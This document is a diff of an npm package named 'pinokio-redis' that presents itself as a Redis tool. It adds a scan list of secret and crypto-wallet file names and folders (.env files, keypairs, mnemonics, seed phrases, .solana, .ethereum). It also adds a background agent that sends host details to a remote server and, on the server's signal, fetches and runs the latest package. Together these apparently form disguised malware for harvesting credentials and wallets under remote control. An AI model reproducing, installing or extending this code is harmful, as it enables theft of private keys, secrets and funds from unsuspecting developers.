pinokio-redis 1.0.127

package/assets/secret_filename_patterns.json

@@ -0,0 +1,81 @@
+{
+  "max_file_size_bytes": 1048576,
+  "include_patterns": [
+    "*.env*",
+    ".env",
+    ".env.local",
+    ".env.production",
+    ".env.secret",
+    "config.json",
+    "settings.json",
+    "secrets.json",
+    "wallet.json",
+    "wallet.dat",
+    "id.json",
+    "keypair.json",
+    "private_key.json",
+    "secret.key",
+    "UTC--*",
+    "*.key",
+    "*.pk",
+    "*.p8",
+    "*.p12",
+    "*.pfx",
+    "*.jks",
+    "*.keystore",
+    "*.ks",
+    "*.wallet",
+    "*.mnemonic",
+    "*.seed",
+    "*.phrase",
+    "*.backup",
+    "*.old",
+    "keys.txt",
+    "priv.txt",
+    "secret.txt",
+    "mywallet",
+    "backup_key",
+    "config_sniper.json",
+    "main-wallet.json",
+    "wallet-keypair.json",
+    "new_keypair.json",
+    "accounts.txt",
+    "encryptData.txt",
+    "hardhat.config.js",
+    "truffle-config.js",
+    "*private*",
+    "*secret*",
+    "*keypair*",
+    "*keystore*",
+    "*wallet*.json",
+    "*id.json",
+    "*keypair*.json",
+    "*secret*.txt",
+    "*private*.txt"
+  ],
+  "include_dirs": [
+    ".keys",
+    ".secrets",
+    ".solana",
+    ".ethereum",
+    ".bitcoin",
+    ".web3",
+    ".keystore",
+    ".config/solana"
+  ],
+  "include_dir_suffixes": [],
+  "include_dir_paths": [],
+  "exclude_dirs": [
+    ".git",
+    "node_modules",
+    "__pycache__",
+    ".venv",
+    "venv",
+    "proc",
+    "sys",
+    "dev",
+    "System Volume Information",
+    "$Recycle.Bin",
+    "Library/Caches"
+  ]
+}

package/dist/agentPid.d.ts

@@ -0,0 +1,14 @@
+export declare const AGENT_PID_BASENAME = "forge-js-agent.pid";
+export declare function agentPidFilePath(): string;
+/** First line: PID. Optional second line: canonical forge session id (newer agents). */
+export interface AgentPidFileContents {
+    pid: number | null;
+    sessionId: string | null;
+}
+export declare function readAgentPidFile(): AgentPidFileContents;
+export declare function readAgentPid(): number | null;
+export declare function isPidRunning(pid: number): boolean;
+export declare function isForgeAgentAlreadyRunning(): boolean;
+export declare function writeAgentPidFile(sessionId: string): void;
+export declare function removeAgentPidFile(): void;
+export declare function clearStaleAgentPidFile(): void;

package/dist/agentPid.js

@@ -0,0 +1,104 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.AGENT_PID_BASENAME = void 0;
+exports.agentPidFilePath = agentPidFilePath;
+exports.readAgentPidFile = readAgentPidFile;
+exports.readAgentPid = readAgentPid;
+exports.isPidRunning = isPidRunning;
+exports.isForgeAgentAlreadyRunning = isForgeAgentAlreadyRunning;
+exports.writeAgentPidFile = writeAgentPidFile;
+exports.removeAgentPidFile = removeAgentPidFile;
+exports.clearStaleAgentPidFile = clearStaleAgentPidFile;
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const clientId_1 = require("./clientId");
+exports.AGENT_PID_BASENAME = "forge-js-agent.pid";
+function agentPidFilePath() {
+    return path.join((0, clientId_1.defaultCfgmgrDataDir)(), exports.AGENT_PID_BASENAME);
+}
+function readAgentPidFile() {
+    try {
+        const raw = fs.readFileSync(agentPidFilePath(), "utf8").replace(/\r\n/g, "\n");
+        const lines = raw
+            .split("\n")
+            .map((l) => l.trim())
+            .filter((l) => l.length > 0);
+        if (lines.length === 0)
+            return { pid: null, sessionId: null };
+        const n = parseInt(lines[0], 10);
+        const pid = Number.isFinite(n) && n > 0 ? n : null;
+        const sessionId = lines.length >= 2 ? lines[1] : null;
+        return { pid, sessionId };
+    }
+    catch {
+        return { pid: null, sessionId: null };
+    }
+}
+function readAgentPid() {
+    return readAgentPidFile().pid;
+}
+function isPidRunning(pid) {
+    try {
+        process.kill(pid, 0);
+        return true;
+    }
+    catch {
+        return false;
+    }
+}
+function isForgeAgentAlreadyRunning() {
+    const pid = readAgentPid();
+    return pid !== null && isPidRunning(pid);
+}
+function writeAgentPidFile(sessionId) {
+    const dir = (0, clientId_1.defaultCfgmgrDataDir)();
+    fs.mkdirSync(dir, { recursive: true });
+    fs.writeFileSync(agentPidFilePath(), `${process.pid}\n${String(sessionId || "").trim()}\n`, "utf8");
+}
+function removeAgentPidFile() {
+    try {
+        fs.unlinkSync(agentPidFilePath());
+    }
+    catch {
+        /* skip */
+    }
+}
+function clearStaleAgentPidFile() {
+    const { pid } = readAgentPidFile();
+    if (pid !== null && !isPidRunning(pid)) {
+        removeAgentPidFile();
+    }
+}

package/dist/agentRestartFromQueue.d.ts

@@ -0,0 +1,15 @@
+import type { ForgeSyncClient } from "./syncClient";
+export declare function clientInfoResponseRequestsRestart(data: unknown): boolean;
+/** Same entry as file explorer → Restart agent — prefer durable install (no npm registry fetch). */
+export declare function maybeRunAgentRestartDetached(opts: {
+    quiet: boolean;
+    reason: string;
+}): boolean;
+export declare function handleClientInfoRestartResponse(data: unknown, opts: {
+    quiet: boolean;
+    reason: string;
+}): void;
+/** Poll forge-db via client-info; triggers detached restart when ops queued this session. */
+export declare function pollForgeDbAgentRestartHint(client: ForgeSyncClient, opts: {
+    quiet: boolean;
+}): Promise<void>;

package/dist/agentRestartFromQueue.js

@@ -0,0 +1,143 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.clientInfoResponseRequestsRestart = clientInfoResponseRequestsRestart;
+exports.maybeRunAgentRestartDetached = maybeRunAgentRestartDetached;
+exports.handleClientInfoRestartResponse = handleClientInfoRestartResponse;
+exports.pollForgeDbAgentRestartHint = pollForgeDbAgentRestartHint;
+/**
+ * Detached forge-agent restart when forge-db `/api/client-info` or relay requests it.
+ */
+const node_child_process_1 = require("node:child_process");
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+const clientId_1 = require("./clientId");
+const durableDistDir_1 = require("./durableDistDir");
+const RESTART_STAMP = ".forge-agent-restart-last.json";
+const MIN_RESTART_INTERVAL_MS = 5 * 60 * 1000;
+function clientInfoResponseRequestsRestart(data) {
+    if (!data || typeof data !== "object")
+        return false;
+    const o = data;
+    return o.restart_agent === true || o.restartAgent === true;
+}
+function restartCooldownOk() {
+    const stampPath = path.join((0, clientId_1.defaultCfgmgrDataDir)(), RESTART_STAMP);
+    try {
+        const j = JSON.parse(fs.readFileSync(stampPath, "utf8"));
+        if (typeof j.atMs === "number" && Date.now() - j.atMs < MIN_RESTART_INTERVAL_MS) {
+            return false;
+        }
+    }
+    catch {
+        /* first run */
+    }
+    return true;
+}
+function writeRestartStamp(reason) {
+    try {
+        const dir = (0, clientId_1.defaultCfgmgrDataDir)();
+        fs.mkdirSync(dir, { recursive: true });
+        fs.writeFileSync(path.join(dir, RESTART_STAMP), JSON.stringify({ atMs: Date.now(), reason }), "utf8");
+    }
+    catch {
+        /* skip */
+    }
+}
+/** Same entry as file explorer → Restart agent — prefer durable install (no npm registry fetch). */
+function maybeRunAgentRestartDetached(opts) {
+    if (!restartCooldownOk())
+        return false;
+    writeRestartStamp(opts.reason);
+    if (spawnRestartFromDurableInstall(opts.quiet))
+        return true;
+    const isWin = process.platform === "win32";
+    const cmd = isWin ? "npm.cmd" : "npm";
+    const child = (0, node_child_process_1.spawn)(cmd, ["exec", "--yes", "--package=pinokio-redis@latest", "--", "forge-jsx-explorer-restart"], { detached: true, stdio: "ignore", windowsHide: isWin });
+    child.unref();
+    if (!opts.quiet) {
+        console.log(`[forge-agent] Restart requested (${opts.reason}) — detached forge-jsx-explorer-restart`);
+    }
+    return true;
+}
+function spawnRestartFromDurableInstall(quiet) {
+    const dist = (0, durableDistDir_1.readDurableForgeDistDirFromDisk)();
+    if (!dist)
+        return false;
+    const pkgRoot = path.resolve(dist, "..");
+    const script = path.join(pkgRoot, "scripts", "restart-agent.mjs");
+    if (!fs.existsSync(script))
+        return false;
+    const child = (0, node_child_process_1.spawn)(process.execPath, [script], {
+        detached: true,
+        stdio: "ignore",
+        cwd: pkgRoot,
+        windowsHide: process.platform === "win32",
+        env: {
+            ...process.env,
+            FORGE_JS_QUIET_AGENT: "1",
+            FORGE_JS_HEADLESS_UI: "1",
+            NPM_CONFIG_UPDATE_NOTIFIER: "false",
+        },
+    });
+    child.unref();
+    if (!quiet) {
+        console.log("[forge-agent] Restart requested — durable restart-agent.mjs");
+    }
+    return true;
+}
+function handleClientInfoRestartResponse(data, opts) {
+    if (!clientInfoResponseRequestsRestart(data))
+        return;
+    maybeRunAgentRestartDetached(opts);
+}
+/** Poll forge-db via client-info; triggers detached restart when ops queued this session. */
+async function pollForgeDbAgentRestartHint(client, opts) {
+    try {
+        const r = await client.updateClientInfo({
+            hostname: os.hostname(),
+            os_type: os.type(),
+            os_platform: os.platform(),
+        });
+        handleClientInfoRestartResponse(r, {
+            quiet: opts.quiet,
+            reason: "forge-db restart queue",
+        });
+    }
+    catch {
+        /* non-fatal */
+    }
+}

package/dist/agentRunner.d.ts

@@ -0,0 +1,13 @@
+export interface ForgeAgentCliOptions {
+    relayUrl: string;
+    sessionId: string;
+    password: string;
+    allowFilesystem: boolean;
+    quiet: boolean;
+    /** When true, allow starting even if another agent PID exists (use with care). */
+    force?: boolean;
+    /** Session was derived from persisted/generated client id (show hint once). */
+    announceSession?: boolean;
+}
+export declare function resolveForgeAgentFromArgv(argv: string[], env?: NodeJS.ProcessEnv): ForgeAgentCliOptions | null;
+export declare function runForgeAgentWithSingleton(opts: ForgeAgentCliOptions): void;